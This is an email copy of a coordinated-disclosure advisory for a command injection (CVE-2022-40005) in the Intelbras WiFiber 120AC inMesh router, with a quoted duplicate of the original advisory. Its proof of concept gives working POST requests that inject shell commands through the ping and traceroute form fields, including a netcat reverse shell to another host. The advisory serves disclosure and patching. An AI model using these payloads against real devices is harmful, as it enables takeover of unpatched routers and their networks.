From: Thomas Weber <t.weber () cyberdanube com>
Date: Tue, 13 Dec 2022 17:59:41 +0100
CyberDanube Security Research 20221009-0
-------------------------------------------------------------------------------
title| Authenticated Command Injection product| Intelbras WiFiber 120AC inMesh vulnerable version| 1.1-220216 fixed version| 1-1-220826 CVE number| CVE-2022-40005 impact| High homepage| https://www.intelbras.com found| 2022-08-01 by| T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Pölten | | https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"We are Intelbras. A company that for 45 years has been offering innovative
solutions in security, networks, communication and energy. Our dream
began to
come to life there in 1976, in the city of São José, having originated
from an
INspiration and a promising idea: to manufacture PABX centrals. During the
80's, we surprised the market with the launch of the first PABX
developed with
national technology, a product that showed everyone our innovative DNA.
The 90s
were marked by the consolidation of the company in the telecommunications
segment and we became leaders in the PABX and telephone terminals
segment. The
turn of the millennium represented the search for greater connection and
proximity to people, something that is in total harmony with our
philosophy to
this day. More consolidated in the market, in 2010 we opened 3
manufacturing
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.
We reached our 45th birthday having reached a historic milestone: we
have been
a company listed on the B3 since February 2021. Our trajectory so far
has been
INnovative, INtelligent and INSpiring. We saw innovation, which is part
of our
DNA, increasingly present in our daily lives. And it was only possible to
write a story so full of achievements because employees, partners and
customers
were close and believed in us." Source: https://www.intelbras.com/en/institutional/who-we-are Vulnerable versions
-------------------------------------------------------------------------------
WiFiber 120AC inMesh / 1.1-220216 Vulnerability overview
-------------------------------------------------------------------------------
1) Authenticated Command Injection (CVE-2022-40005)
The web server of the device is prone to an authenticated command
injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, more extensive damage in the corresponding
network can
be done by an attacker. Proof of Concept
-------------------------------------------------------------------------------
1) Authenticated Command Injection (CVE-2022-40005) The web server is prone to an authenticated command injection via POST parameters. The following proof-of-concept shows how to inject the command "ls /" to the system which gets executed in the background:
===============================================================================
POST /boaform/formPing6 HTTP/1.1 Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/ping6.asp Upgrade-Insecure-Requests: 1
pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908
===============================================================================
The following commands can be used to open a reverse shell: "rm -f /tmp/f" "mkfifo /tmp/f" "cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f" Those commands were sent via a crafted POST request:
===============================================================================
POST /boaform/formTracert HTTP/1.1 Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 255 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/tracert.asp Upgrade-Insecure-Requests: 1
proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290
===============================================================================
The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). Solution
-------------------------------------------------------------------------------
Update to firmware version 1-1-220826.
Workaround
-------------------------------------------------------------------------------
None Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends Intelbras customers to upgrade the firmware to the latest version available. Contact Timeline
-------------------------------------------------------------------------------
2022-08-02: Contacting Intelbras via suporte () intelbras com br. 2022-08-03: Request from Intelbras to send the advisory to csirt () intelbras com br; Sent the advisory to this address. 2022-08-30: Asked for status update; Vendor answered that the new firmware
version has been released the day before. Set the
disclosure date
to 2022-10-03 (60 days policy). 2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues. 2022-10-09: Coordinated disclosure of advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2022 On 09.10.22 17:21, Thomas Weber wrote:
CyberDanube Security Research 20221009-0-------------------------------------------------------------------------------
title| Authenticated Command Injection product| Intelbras WiFiber 120AC inMesh vulnerable version| 1.1-220216 fixed version| 1-1-220826 CVE number| impact| High homepage| https://www.intelbras.com found| 2022-08-01 by| T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Pölten | | https://www.cyberdanube.com-------------------------------------------------------------------------------
Vendor description-------------------------------------------------------------------------------
"We are Intelbras. A company that for 45 years has been offering
innovative
solutions in security, networks, communication and energy. Our dream
began to
come to life there in 1976, in the city of São José, having originated
from an
INspiration and a promising idea: to manufacture PABX centrals. During
the
80's, we surprised the market with the launch of the first PABX
developed with
national technology, a product that showed everyone our innovative
DNA. The 90s
were marked by the consolidation of the company in the telecommunicationssegment and we became leaders in the PABX and telephone terminals
segment. The
turn of the millennium represented the search for greater connection andproximity to people, something that is in total harmony with our
philosophy to
this day. More consolidated in the market, in 2010 we opened 3
manufacturing
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.We reached our 45th birthday having reached a historic milestone: we
have been
a company listed on the B3 since February 2021. Our trajectory so far
has been
INnovative, INtelligent and INSpiring. We saw innovation, which is
part of our
DNA, increasingly present in our daily lives. And it was only possible towrite a story so full of achievements because employees, partners and
customers
were close and believed in us." Source: https://www.intelbras.com/en/institutional/who-we-are Vulnerable versions-------------------------------------------------------------------------------
WiFiber 120AC inMesh / 1.1-220216 Vulnerability overview-------------------------------------------------------------------------------
1) Authenticated Command InjectionThe web server of the device is prone to an authenticated command
injection.
It allows an attacker to gain full access to the underlying operating
system of
the device with all implications. If such a device is acting as key
device in
an industrial network, more extensive damage in the corresponding
network can
be done by an attacker. Proof of Concept-------------------------------------------------------------------------------
1) Authenticated Command Injection The web server is prone to an authenticated command injection via POSTparameters. The following proof-of-concept shows how to inject the
command
"ls /" to the system which gets executed in the background:===============================================================================
POST /boaform/formPing6 HTTP/1.1 Host: 192.168.3.147User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 87 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/ping6.asp Upgrade-Insecure-Requests: 1pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908
===============================================================================
The following commands can be used to open a reverse shell: "rm -f /tmp/f" "mkfifo /tmp/f" "cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f" Those commands were sent via a crafted POST request:===============================================================================
POST /boaform/formTracert HTTP/1.1 Host: 192.168.3.147User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 255 Origin: http://192.168.3.147 Connection: close Referer: http://192.168.3.147/tracert.asp Upgrade-Insecure-Requests: 1proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290
===============================================================================
The vulnerability was manually verified on an emulated device by using
the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). Solution-------------------------------------------------------------------------------
Update to firmware version 1-1-220826.Workaround-------------------------------------------------------------------------------
None Recommendation-------------------------------------------------------------------------------
CyberDanube recommends Intelbras customers to upgrade the firmware to the latest version available. Contact Timeline-------------------------------------------------------------------------------
2022-08-02: Contacting Intelbras via suporte () intelbras com br. 2022-08-03: Request from Intelbras to send the advisory to csirt () intelbras com br; Sent the advisory to this address.2022-08-30: Asked for status update; Vendor answered that the new
firmware
version has been released the day before. Set the
disclosure date
to 2022-10-03 (60 days policy). 2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues. 2022-10-09: Coordinated disclosure of advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2022
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- Re: CyberDanube Security Research 20221009-0 | Authenticated Command Injection in Intelbras WiFiber 120AC inMesh Thomas Weber (Dec 13)
